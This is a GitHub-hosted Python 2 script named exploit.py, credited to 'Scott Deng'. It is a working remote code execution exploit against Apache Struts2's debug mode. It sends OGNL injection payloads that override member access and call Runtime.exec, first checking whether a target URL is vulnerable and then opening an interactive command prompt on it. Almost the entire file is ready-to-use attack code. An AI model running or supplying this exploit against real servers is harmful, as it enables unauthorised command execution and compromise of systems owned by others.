-
Notifications
You must be signed in to change notification settings - Fork 2
/
exploit.py
53 lines (38 loc) · 1.49 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# -*- coding: utf-8 -*-
__author__ = 'Scott Deng'
import requests
import sys
def check(uri):
test_post = {
'debug':'command',
'expression':'(#wr=#context[#parameters.obj[0]].getWriter())!=(#wr.println(#parameters.content[0]))!=(#wr.flush())!=(#wr.close())',
'obj':'com.opensymphony.xwork2.dispatcher.HttpServletResponse',
'content':'Adlabgsrc'
}
r = requests.post(url=uri,data=test_post)
response = r.text
return ('true' in response or 'Adlabgsrc' in response or 'null' in response) and len(response) < 20
def exploit(uri, cmd):
post_data = {
'debug':'browser',
'object':'(#[email protected]@DEFAULT_MEMBER_ACCESS)?(#context[#parameters.rpsobj[0]].getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(#parameters.command[0]).getInputStream()))):xx.toString.json',
'rpsobj':'com.opensymphony.xwork2.dispatcher.HttpServletResponse',
'content':'110',
'command':cmd
}
return requests.post(url=uri, data=post_data).text
if __name__ == "__main__":
uri = sys.argv[1]
if(check(uri)):
print "Run command"
while(True):
cmd = raw_input("$")
if(cmd == 'exit'):
break
else:
try:
print exploit(uri,cmd)
except:
print "there is some encoding error, but the command is executed."
else:
print "This URL is not exploitable."